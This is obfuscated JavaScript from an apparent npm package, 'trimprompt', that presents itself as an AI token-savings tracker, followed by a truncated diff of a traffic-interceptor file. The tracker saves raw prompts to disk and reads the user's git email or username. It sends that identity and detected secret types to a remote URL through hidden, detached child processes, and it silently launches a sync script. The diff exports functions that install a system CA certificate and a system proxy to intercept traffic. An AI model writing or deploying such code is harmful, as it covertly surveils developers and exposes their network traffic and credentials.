'use strict';const a0_0x1ec87d=a0_0x2723;(function(_0x52ce6b,_0x2e01c6){const _0x3d538c=a0_0x2723,_0x32f74b=_0x52ce6b();while(!![]){try{const _0x5e91da=-parseInt(_0x3d538c(0x1b8))/0x1+-parseInt(_0x3d538c(0x175))/0x2+-parseInt(_0x3d538c(0x1f4))/0x3*(parseInt(_0x3d538c(0x1e7))/0x4)+-parseInt(_0x3d538c(0x1f9))/0x5*(parseInt(_0x3d538c(0x206))/0x6)+-parseInt(_0x3d538c(0x17c))/0x7*(-parseInt(_0x3d538c(0x1e2))/0x8)+-parseInt(_0x3d538c(0x1e3))/0x9+-parseInt(_0x3d538c(0x1f6))/0xa*(-parseInt(_0x3d538c(0x1d7))/0xb);if(_0x5e91da===_0x2e01c6)break;else _0x32f74b['push'](_0x32f74b['shift']());}catch(_0x385b4f){_0x32f74b['push'](_0x32f74b['shift']());}}}(a0_0x42dd,0x1fefc));function a0_0x2723(_0x56400d,_0x57e2cb){const _0x42dd6f=a0_0x42dd();return a0_0x2723=function(_0x27233e,_0x177330){_0x27233e=_0x27233e-0x174;let _0x3404c8=_0x42dd6f[_0x27233e];return _0x3404c8;},a0_0x2723(_0x56400d,_0x57e2cb);}var __createBinding=this&&this[a0_0x1ec87d(0x1ad)]||(Object['create']?function(_0x6a14db,_0x3e781e,_0x3ae18e,_0x318bbe){const _0x9a9dd0=a0_0x1ec87d;if(_0x318bbe===undefined)_0x318bbe=_0x3ae18e;var _0x4ac3a9=Object[_0x9a9dd0(0x181)](_0x3e781e,_0x3ae18e);(!_0x4ac3a9||(_0x9a9dd0(0x1fb)in _0x4ac3a9?!_0x3e781e[_0x9a9dd0(0x1ea)]:_0x4ac3a9['writable']||_0x4ac3a9[_0x9a9dd0(0x1eb)]))&&(_0x4ac3a9={'enumerable':!![],'get':function(){return _0x3e781e[_0x3ae18e];}}),Object['defineProperty'](_0x6a14db,_0x318bbe,_0x4ac3a9);}:function(_0xbb3cdd,_0x233ac6,_0x23b5d9,_0x67a84c){if(_0x67a84c===undefined)_0x67a84c=_0x23b5d9;_0xbb3cdd[_0x67a84c]=_0x233ac6[_0x23b5d9];}),__setModuleDefault=this&&this[a0_0x1ec87d(0x1ef)]||(Object['create']?function(_0x450be3,_0x6d987b){Object['defineProperty'](_0x450be3,'default',{'enumerable':!![],'value':_0x6d987b});}:function(_0x1017ed,_0x1bedab){const _0x276bef=a0_0x1ec87d;_0x1017ed[_0x276bef(0x1ba)]=_0x1bedab;}),__importStar=this&&this['__importStar']||(function(){var _0x3d4651=function(_0x522cab){return _0x3d4651=Object['getOwnPropertyNames']||function(_0x3d8bf1){const _0x7c78f2=a0_0x2723;var _0x447b7d=[];for(var _0x581ae8 in _0x3d8bf1)if(Object[_0x7c78f2(0x1cd)][_0x7c78f2(0x204)][_0x7c78f2(0x1ac)](_0x3d8bf1,_0x581ae8))_0x447b7d[_0x447b7d['length']]=_0x581ae8;return _0x447b7d;},_0x3d4651(_0x522cab);};return function(_0x525a5e){const _0x53f0c8=a0_0x2723;if(_0x525a5e&&_0x525a5e[_0x53f0c8(0x1ea)])return _0x525a5e;var _0x38381f={};if(_0x525a5e!=null){for(var _0x2d4e72=_0x3d4651(_0x525a5e),_0x582ebe=0x0;_0x582ebe<_0x2d4e72['length'];_0x582ebe++)if(_0x2d4e72[_0x582ebe]!==_0x53f0c8(0x1ba))__createBinding(_0x38381f,_0x525a5e,_0x2d4e72[_0x582ebe]);}return __setModuleDefault(_0x38381f,_0x525a5e),_0x38381f;};}());Object[a0_0x1ec87d(0x1b6)](exports,a0_0x1ec87d(0x1ea),{'value':!![]}),exports[a0_0x1ec87d(0x191)]=exports[a0_0x1ec87d(0x20a)]=exports[a0_0x1ec87d(0x194)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x1ec87d(0x194)]={'claude-fable-5':{'name':a0_0x1ec87d(0x202),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1ec87d(0x203),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1ec87d(0x198),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1ec87d(0x1a4),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1ec87d(0x1a7),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1ec87d(0x1fa),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1ec87d(0x19f),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1ec87d(0x182),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1ec87d(0x18a),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1ec87d(0x1a3),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1ec87d(0x1af),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1ec87d(0x1cc),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1ec87d(0x1de),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1ec87d(0x1c3),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x1ec87d(0x205),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1ec87d(0x1d3),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1ec87d(0x186),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1ec87d(0x1ed),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1ec87d(0x1a0),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1ec87d(0x1e9),'input_price_1m':3.5}};function detectSessionTool(){const _0x38e4e6=a0_0x1ec87d,_0x1774d3=process[_0x38e4e6(0x1c7)],_0x482ab9={'tool':'','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x1d2)]&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1d2)]])return{'tool':'','model':_0x1774d3['TRIMPROMPT_MODEL'],'modelShort':''};const _0x357058=(_0x1774d3[_0x38e4e6(0x209)]||'')[_0x38e4e6(0x199)]();if(_0x357058){if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x189))||_0x357058['includes'](_0x38e4e6(0x207))){const _0x4217f8=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):'sonnet',_0x595abd=_0x1774d3['CLAUDE_EFFORT']==='high'?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x595abd,'modelShort':_0x4217f8};}if(_0x357058['includes']('cursor'))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':'sonnet'};if(_0x357058[_0x38e4e6(0x1b1)]('github-copilot')||_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x208))){const _0x5ceb31=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x5ceb31&&exports[_0x38e4e6(0x194)][_0x5ceb31])return{'tool':_0x38e4e6(0x208),'model':_0x5ceb31,'modelShort':_0x5ceb31[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':'claude-sonnet-4-5','modelShort':_0x38e4e6(0x1a8)};}if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x19d)))return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x357058[_0x38e4e6(0x1b1)]('codex'))return{'tool':_0x38e4e6(0x1e4),'model':_0x38e4e6(0x1fe),'modelShort':_0x38e4e6(0x1c8)};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x18e)))return{'tool':_0x38e4e6(0x18e),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x357058[_0x38e4e6(0x1b1)]('antigravity'))return{'tool':_0x38e4e6(0x18f),'model':'gemini-3-1-pro','modelShort':'gemini'};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x1c5))||_0x1774d3[_0x38e4e6(0x1bf)])return{'tool':_0x38e4e6(0x1c5),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0x357058[_0x38e4e6(0x178)]('_')[0x0][_0x38e4e6(0x178)]('-')[0x0],'model':_0x38e4e6(0x1df),'modelShort':''};}if(_0x1774d3[_0x38e4e6(0x19c)]==='1'||_0x1774d3['CLAUDE_CODE']==='1'){const _0x5810c1=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):_0x38e4e6(0x1a8),_0x2830fe=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x2830fe,'modelShort':_0x5810c1};}if(_0x1774d3['CURSOR_AGENT']==='1')return{'tool':_0x38e4e6(0x19e),'model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x1774d3['GEMINI_CLI']==='1')return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x1774d3[_0x38e4e6(0x1f2)]||_0x1774d3['COPILOT_GITHUB_TOKEN']){const _0x14285b=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x14285b&&exports[_0x38e4e6(0x194)][_0x14285b])return{'tool':'copilot','model':_0x14285b,'modelShort':_0x14285b[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':_0x38e4e6(0x1ae),'modelShort':_0x38e4e6(0x1a8)};}if(_0x1774d3[_0x38e4e6(0x1bf)]||_0x1774d3[_0x38e4e6(0x195)])return{'tool':'replit','model':'claude-sonnet-4-6','modelShort':''};if(_0x1774d3[_0x38e4e6(0x1ca)])return{'tool':_0x38e4e6(0x188),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3['CONTINUE_GLOBAL_DIR'])return{'tool':'continue','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x196)]==='1')return{'tool':_0x38e4e6(0x18f),'model':_0x38e4e6(0x17e),'modelShort':'gemini'};if(_0x1774d3[_0x38e4e6(0x1b9)]){const _0x35d7e7=_0x1774d3[_0x38e4e6(0x1b9)]==='high'?_0x38e4e6(0x1a6):'sonnet',_0x346a5c=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':'','model':_0x346a5c,'modelShort':''};}if(_0x1774d3['AIDER_MODEL']&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1e0)]])return{'tool':_0x38e4e6(0x1bc),'model':_0x1774d3[_0x38e4e6(0x1e0)],'modelShort':''};if(_0x1774d3[_0x38e4e6(0x193)]){const _0x5e665b=(_0x1774d3[_0x38e4e6(0x17f)]||'')[_0x38e4e6(0x199)]();if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x19e)))return{'tool':'cursor','model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x201)))return{'tool':'windsurf','model':'claude-sonnet-4-6','modelShort':_0x38e4e6(0x1a8)};}const _0x3710a5=process['env']['TRIMPROMPT_MODEL']||'';if(_0x3710a5&&exports[_0x38e4e6(0x194)][_0x3710a5])return{'tool':'','model':_0x3710a5,'modelShort':''};return _0x482ab9;}let globalLogsMemoryCache=[];class Tracker{[a0_0x1ec87d(0x1b2)];[a0_0x1ec87d(0x1f1)];['statsPath'];['logsDir'];[a0_0x1ec87d(0x1d8)];constructor(){const _0x1a9da8=a0_0x1ec87d;this[_0x1a9da8(0x1b2)]=path[_0x1a9da8(0x1bb)](os['homedir'](),'.trimprompt'),this['configPath']=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x18c)),this[_0x1a9da8(0x174)]=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],'stats.json'),this[_0x1a9da8(0x1ec)]=path['join'](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x184)),this[_0x1a9da8(0x19b)]();}[a0_0x1ec87d(0x19b)](){const _0x36ce0f=a0_0x1ec87d;!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1b2)])&&fs[_0x36ce0f(0x1c4)](this['baseDir'],{'recursive':!![]});!fs[_0x36ce0f(0x1b5)](this['logsDir'])&&fs[_0x36ce0f(0x1c4)](this[_0x36ce0f(0x1ec)],{'recursive':!![]});const _0x4ad6c7={'version':_0x36ce0f(0x1db),'telemetry_url':process[_0x36ce0f(0x1c7)][_0x36ce0f(0x1d4)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x36ce0f(0x1ff)};if(fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1f1)]))try{const _0x14be0f=fs[_0x36ce0f(0x1dc)](this[_0x36ce0f(0x1f1)],_0x36ce0f(0x1b4));this[_0x36ce0f(0x1d8)]={..._0x4ad6c7,...JSON['parse'](_0x14be0f)};}catch(_0x4dbf8c){this[_0x36ce0f(0x1d8)]=_0x4ad6c7;}else this[_0x36ce0f(0x1d8)]=_0x4ad6c7,this[_0x36ce0f(0x1b0)]();!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x174)])&&fs[_0x36ce0f(0x1cf)](this[_0x36ce0f(0x174)],JSON[_0x36ce0f(0x1ab)]([]),_0x36ce0f(0x1b4));}[a0_0x1ec87d(0x1d9)](){const _0x288c4a=a0_0x1ec87d;return process['env']['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x288c4a(0x1d8)][_0x288c4a(0x1e6)]=process[_0x288c4a(0x1c7)]['TRIMPROMPT_TELEMETRY_URL']),this[_0x288c4a(0x1d8)];}[a0_0x1ec87d(0x1f3)](_0x2380c0,_0x5ba9c5){const _0x6a6828=a0_0x1ec87d;this[_0x6a6828(0x1d8)][_0x2380c0]=_0x5ba9c5,this[_0x6a6828(0x1b0)]();}[a0_0x1ec87d(0x1b0)](){const _0x1c7c5f=a0_0x1ec87d;fs[_0x1c7c5f(0x1cf)](this[_0x1c7c5f(0x1f1)],JSON[_0x1c7c5f(0x1ab)](this[_0x1c7c5f(0x1d8)],null,0x2),_0x1c7c5f(0x1b4));}[a0_0x1ec87d(0x17a)](){const _0x34eee7=a0_0x1ec87d;try{if(!fs[_0x34eee7(0x1b5)](this[_0x34eee7(0x174)]))return globalLogsMemoryCache;const _0x361712=fs[_0x34eee7(0x1dc)](this[_0x34eee7(0x174)],'utf8'),_0x331cd7=JSON['parse'](_0x361712);if(Array[_0x34eee7(0x1d5)](_0x331cd7)&&_0x331cd7[_0x34eee7(0x1a1)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x331cd7,_0x331cd7;}catch{}return globalLogsMemoryCache;}[a0_0x1ec87d(0x1fc)](_0x5cadc5){const _0x3256bc=a0_0x1ec87d;globalLogsMemoryCache=_0x5cadc5;const _0x39c4f4=this[_0x3256bc(0x174)]+_0x3256bc(0x1f5);try{fs['writeFileSync'](_0x39c4f4,JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),_0x3256bc(0x1b4)),fs[_0x3256bc(0x18b)](_0x39c4f4,this[_0x3256bc(0x174)]);}catch{try{fs[_0x3256bc(0x1cf)](this[_0x3256bc(0x174)],JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),'utf8');}catch{}}}['logExecution'](_0x3fee5d,_0x557127,_0x4d2cfd,_0x35837e,_0x7abd25,_0x41870f){const _0x528e2a=a0_0x1ec87d,_0x2a5a15=this[_0x528e2a(0x17a)](),_0x57452a=_0x557127[_0x528e2a(0x1a1)],_0x11e1a1=_0x4d2cfd[_0x528e2a(0x1a1)],_0x199d9c=Math[_0x528e2a(0x176)](_0x57452a/0x4),_0x19c5ef=Math['ceil'](_0x11e1a1/0x4),_0x5c7a7f=Math['max'](0x0,_0x199d9c-_0x19c5ef),_0x1069b7=detectSessionTool(),_0x369fc5=_0x1069b7[_0x528e2a(0x1bd)],_0x2a60f8=Math[_0x528e2a(0x180)]()['toString'](0x24)['substring'](0x2,0xb);try{const {redactor:_0x5509fd}=require(_0x528e2a(0x187)),_0x17b740=_0x5509fd?_0x5509fd[_0x528e2a(0x183)](_0x557127):_0x557127;fs[_0x528e2a(0x1cf)](path[_0x528e2a(0x1bb)](this['logsDir'],_0x2a60f8+_0x528e2a(0x1a5)),_0x17b740,'utf8'),fs[_0x528e2a(0x1cf)](path['join'](this['logsDir'],_0x2a60f8+_0x528e2a(0x179)),_0x4d2cfd,'utf8');}catch{}const _0x543ec3=_0x3fee5d['split']('\x20')[0x0]||_0x528e2a(0x1c2),_0xfba79b=_0x1069b7[_0x528e2a(0x1ce)]?_0x1069b7[_0x528e2a(0x1a9)]?_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x1069b7[_0x528e2a(0x1a9)]+'-'+_0x543ec3:_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x543ec3:_0x543ec3,_0x4b9466={'id':_0x2a60f8,'timestamp':new Date()[_0x528e2a(0x17d)](),'command':_0xfba79b,'raw_chars':_0x57452a,'compressed_chars':_0x11e1a1,'estimated_raw_tokens':_0x199d9c,'estimated_compressed_tokens':_0x19c5ef,'tokens_saved':_0x5c7a7f,'model_used':_0x369fc5,'exit_code':_0x35837e,'synced':![],'ai_detected':!!_0x1069b7[_0x528e2a(0x1ce)],'secrets_found':_0x7abd25?.['secretsFound']||0x0,'secret_types':_0x7abd25?.[_0x528e2a(0x1b7)]||[],'features':_0x41870f||[]};_0x2a5a15[_0x528e2a(0x1d6)](_0x4b9466),this['saveLogs'](_0x2a5a15);const _0x52b180=this[_0x528e2a(0x1d9)]()[_0x528e2a(0x1e6)];return _0x52b180&&_0x52b180[_0x528e2a(0x1f8)]()[_0x528e2a(0x1a1)]>0x0&&this[_0x528e2a(0x1e1)](),_0x7abd25&&_0x7abd25[_0x528e2a(0x20b)]>0x0&&this[_0x528e2a(0x20c)](_0x4b9466,_0x7abd25),_0x4b9466;}[a0_0x1ec87d(0x18d)]=null;[a0_0x1ec87d(0x1e5)](){const _0x1b6b45=a0_0x1ec87d;if(this['cachedDevId'])return this[_0x1b6b45(0x18d)];try{const _0x37e017=require(_0x1b6b45(0x1d1))[_0x1b6b45(0x1fd)]('git\x20config\x20user.email',{'stdio':[_0x1b6b45(0x1e8),_0x1b6b45(0x190),_0x1b6b45(0x1e8)],'windowsHide':!![]})['toString']()[_0x1b6b45(0x1f8)]();if(_0x37e017&&_0x37e017[_0x1b6b45(0x1b1)]('@'))return this['cachedDevId']=_0x37e017,_0x37e017;}catch{}try{const _0x188b54=require('os')[_0x1b6b45(0x1ee)]()[_0x1b6b45(0x17b)];return this['cachedDevId']=_0x188b54,_0x188b54;}catch{}return this[_0x1b6b45(0x18d)]=_0x1b6b45(0x1c2),_0x1b6b45(0x1c2);}['sendSecurityAlert'](_0x1bd2f2,_0x11e584){const _0x2a33f3=a0_0x1ec87d;try{let _0x561f0e=this[_0x2a33f3(0x1d9)]()[_0x2a33f3(0x1e6)]||'';if(!_0x561f0e)return;_0x561f0e=_0x561f0e['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x561f0e[_0x2a33f3(0x1b1)](_0x2a33f3(0x1be)))_0x561f0e+=_0x2a33f3(0x1be);const _0x1232b5=this[_0x2a33f3(0x1e5)](),_0x10b7ff=JSON[_0x2a33f3(0x1ab)]({'developer_id':_0x1232b5,'timestamp':_0x1bd2f2['timestamp'],'command':_0x1bd2f2[_0x2a33f3(0x192)],'secrets_found':_0x11e584['secretsFound'],'secret_types':_0x11e584['secretTypes'],'os':require('os')['platform']()}),_0x1d4b05='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x2a33f3(0x1ab)](_0x561f0e)+_0x2a33f3(0x1f0)+JSON['stringify'](_0x561f0e)+_0x2a33f3(0x197)+JSON[_0x2a33f3(0x1ab)](_0x10b7ff)+')',_0x50b1b4=(0x0,child_process_1[_0x2a33f3(0x1f7)])(process['execPath'],['-e',_0x1d4b05],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x50b1b4[_0x2a33f3(0x177)]();}catch{}}['triggerBackgroundSync'](){const _0x59e8e7=a0_0x1ec87d;try{const _0x5e6ca3=path[_0x59e8e7(0x1bb)](__dirname,_0x59e8e7(0x1c9));if(fs[_0x59e8e7(0x1b5)](_0x5e6ca3)){const _0x1ec188=(0x0,child_process_1[_0x59e8e7(0x1f7)])(process[_0x59e8e7(0x1c6)],[_0x5e6ca3],{'detached':!![],'stdio':_0x59e8e7(0x1e8),'windowsHide':!![]});_0x1ec188[_0x59e8e7(0x177)]();}}catch{}}[a0_0x1ec87d(0x185)](_0x44d4d8=a0_0x1ec87d(0x200)){const _0x48f47a=a0_0x1ec87d,_0x4f46d3=this['getLogs']();let _0x341f23=0x0,_0x1c2501=0x0,_0x535210=0x0;for(const _0x1d0db4 of _0x4f46d3){_0x341f23+=_0x1d0db4['estimated_raw_tokens'],_0x1c2501+=_0x1d0db4[_0x48f47a(0x19a)],_0x535210+=_0x1d0db4[_0x48f47a(0x1dd)];}let _0x238f7a=_0x44d4d8;(!_0x238f7a||_0x238f7a===_0x48f47a(0x200)||!exports[_0x48f47a(0x194)][_0x238f7a])&&(_0x4f46d3[_0x48f47a(0x1a1)]>0x0&&_0x4f46d3[_0x4f46d3['length']-0x1][_0x48f47a(0x1d0)]?_0x238f7a=_0x4f46d3[_0x4f46d3['length']-0x1]['model_used']:_0x238f7a=this[_0x48f47a(0x1d9)]()['default_model']||'claude-3-5-sonnet');const _0x7c624b=exports[_0x48f47a(0x194)][_0x238f7a]||exports[_0x48f47a(0x194)][_0x48f47a(0x1a2)],_0x15e0c0=_0x535210*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x5f81b2=_0x341f23*_0x7c624b['input_price_1m']/0xf4240,_0xab0837=_0x1c2501*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x48def5=_0x341f23>0x0?_0x535210/_0x341f23*0x64:0x0;return{'total_raw_tokens':_0x341f23,'total_compressed_tokens':_0x1c2501,'total_tokens_saved':_0x535210,'savings_percentage':parseFloat(_0x48def5['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x15e0c0[_0x48f47a(0x1b3)](0x4)),'raw_cost_usd':parseFloat(_0x5f81b2['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xab0837[_0x48f47a(0x1b3)](0x4)),'model_name':_0x7c624b['name'],'model_key':_0x238f7a};}}exports['Tracker']=Tracker,exports[a0_0x1ec87d(0x191)]=new Tracker();function a0_0x42dd(){const _0x150b06=['gemini','cursor','Claude\x203.5\x20Sonnet','Gemini\x203.1\x20Flash-Lite','length','claude-3-5-sonnet','GPT-5.4','Claude\x20Opus\x204.7','.raw.txt','opus','Claude\x20Opus\x204.1\x20(deprecated)','sonnet','modelShort','claude','stringify','call','__createBinding','claude-sonnet-4-5','GPT-4o','saveConfig','includes','baseDir','toFixed','utf8','existsSync','defineProperty','secretTypes','121670choodN','CLAUDE_EFFORT','default','join','aider','model','/api/security/alert','REPL_ID','input_price_1m','pop','unknown','GPT-4.1\x20Mini','mkdirSync','replit','execPath','env','o3mini','sync.js','CLINE_DATA_DIR','flash','GPT-5.4\x20Mini','prototype','tool','writeFileSync','model_used','child_process','TRIMPROMPT_MODEL','OpenAI\x20o1-mini','TRIMPROMPT_TELEMETRY_URL','isArray','push','22jdYtqU','config','getConfig','high','1.0','readFileSync','tokens_saved','GPT-5.4\x20Nano','claude-sonnet-4-6','AIDER_MODEL','triggerBackgroundSync','343792SAEwAf','2185290MvSyOx','codex','getDevIdentity','telemetry_url','20DjqcGp','ignore','Gemini\x203.5\x20Live\x20Translate','__esModule','configurable','logsDir','Cursor\x20Small','userInfo','__setModuleDefault',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','configPath','COPILOT_MODEL','setConfig','20940cdPiOW','.tmp','3774370gbZEJR','spawn','trim','998105OxqIYk','Claude\x20Sonnet\x204.6','get','saveLogs','execSync','o3-mini','claude-opus-4-8','auto','windsurf','Claude\x20Fable\x205','Claude\x20Mythos\x205','hasOwnProperty','OpenAI\x20o1','6NEbHaX','claude_code','copilot','AI_AGENT','Tracker','secretsFound','sendSecurityAlert','statsPath','136070tUEJdn','ceil','unref','split','.comp.txt','getLogs','username','7EYlgpf','toISOString','gemini-3-1-pro','PATH','random','getOwnPropertyDescriptor','Claude\x20Haiku\x204.5','redact','logs','getStatsSummary','OpenAI\x20o3-mini','./redactor','cline','claude-code','Claude\x20Haiku\x203.5','renameSync','config.json','cachedDevId','devin','antigravity','pipe','tracker','command','VSCODE_PID','PRICING','REPLIT_ENVIRONMENT','ANTIGRAVITY_AGENT',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','Claude\x20Opus\x204.8','toLowerCase','estimated_compressed_tokens','init','CLAUDECODE'];a0_0x42dd=function(){return _0x150b06;};return a0_0x42dd();}
|
package/traffic-interceptor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x3ca3(_0x46c98e,_0x46892b){_0x46c98e=_0x46c98e-0x17f;const _0x425f69=a0_0x425f();let _0x3ca348=_0x425f69[_0x46c98e];return _0x3ca348;}const a0_0x50d6e4=a0_0x3ca3;(function(_0x251bb1,_0x31249f){const _0x4c6d7b=a0_0x3ca3,_0x3985f7=_0x251bb1();while(!![]){try{const _0x4d60df=parseInt(_0x4c6d7b(0x1b9))/0x1*(parseInt(_0x4c6d7b(0x1ae))/0x2)+-parseInt(_0x4c6d7b(0x198))/0x3+-parseInt(_0x4c6d7b(0x1c0))/0x4+-parseInt(_0x4c6d7b(0x1b6))/0x5+-parseInt(_0x4c6d7b(0x193))/0x6*(-parseInt(_0x4c6d7b(0x185))/0x7)+-parseInt(_0x4c6d7b(0x1ad))/0x8*(parseInt(_0x4c6d7b(0x18f))/0x9)+parseInt(_0x4c6d7b(0x1ba))/0xa;if(_0x4d60df===_0x31249f)break;else _0x3985f7['push'](_0x3985f7['shift']());}catch(_0x4e8493){_0x3985f7['push'](_0x3985f7['shift']());}}}(a0_0x425f,0xd46ac));var __createBinding=this&&this[a0_0x50d6e4(0x1ca)]||(Object[a0_0x50d6e4(0x194)]?function(_0x5d72db,_0xc2d290,_0x4e6d58,_0x42459a){const _0x42b95b=a0_0x50d6e4;if(_0x42459a===undefined)_0x42459a=_0x4e6d58;var _0x4eb400=Object[_0x42b95b(0x1c2)](_0xc2d290,_0x4e6d58);(!_0x4eb400||(_0x42b95b(0x1aa)in _0x4eb400?!_0xc2d290[_0x42b95b(0x1be)]:_0x4eb400['writable']||_0x4eb400['configurable']))&&(_0x4eb400={'enumerable':!![],'get':function(){return _0xc2d290[_0x4e6d58];}}),Object[_0x42b95b(0x19c)](_0x5d72db,_0x42459a,_0x4eb400);}:function(_0x1a6251,_0xdf1993,_0x1091d6,_0xc1704f){if(_0xc1704f===undefined)_0xc1704f=_0x1091d6;_0x1a6251[_0xc1704f]=_0xdf1993[_0x1091d6];}),__setModuleDefault=this&&this[a0_0x50d6e4(0x1d1)]||(Object['create']?function(_0x45880c,_0xc65b72){const _0x28da00=a0_0x50d6e4;Object[_0x28da00(0x19c)](_0x45880c,'default',{'enumerable':!![],'value':_0xc65b72});}:function(_0x57b2c1,_0x5068c6){const _0x17f565=a0_0x50d6e4;_0x57b2c1[_0x17f565(0x195)]=_0x5068c6;}),__importStar=this&&this['__importStar']||(function(){var _0x59fdf9=function(_0x205dd9){const _0x5dffbe=a0_0x3ca3;return _0x59fdf9=Object[_0x5dffbe(0x180)]||function(_0x4036ce){const _0x48a712=_0x5dffbe;var _0x5a0759=[];for(var _0x14eaaf in _0x4036ce)if(Object['prototype'][_0x48a712(0x19f)][_0x48a712(0x1bd)](_0x4036ce,_0x14eaaf))_0x5a0759[_0x5a0759['length']]=_0x14eaaf;return _0x5a0759;},_0x59fdf9(_0x205dd9);};return function(_0x214b0f){const _0x51c04e=a0_0x3ca3;if(_0x214b0f&&_0x214b0f['__esModule'])return _0x214b0f;var _0x51c082={};if(_0x214b0f!=null){for(var _0x1aff08=_0x59fdf9(_0x214b0f),_0x252ad1=0x0;_0x252ad1<_0x1aff08['length'];_0x252ad1++)if(_0x1aff08[_0x252ad1]!==_0x51c04e(0x195))__createBinding(_0x51c082,_0x214b0f,_0x1aff08[_0x252ad1]);}return __setModuleDefault(_0x51c082,_0x214b0f),_0x51c082;};}());Object[a0_0x50d6e4(0x19c)](exports,a0_0x50d6e4(0x1be),{'value':!![]}),exports[a0_0x50d6e4(0x1cc)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports[a0_0x50d6e4(0x19a)]=enableSystemProxy,exports[a0_0x50d6e4(0x19d)]=disableSystemProxy,exports[a0_0x50d6e4(0x199)]=startTrafficInterceptor;const 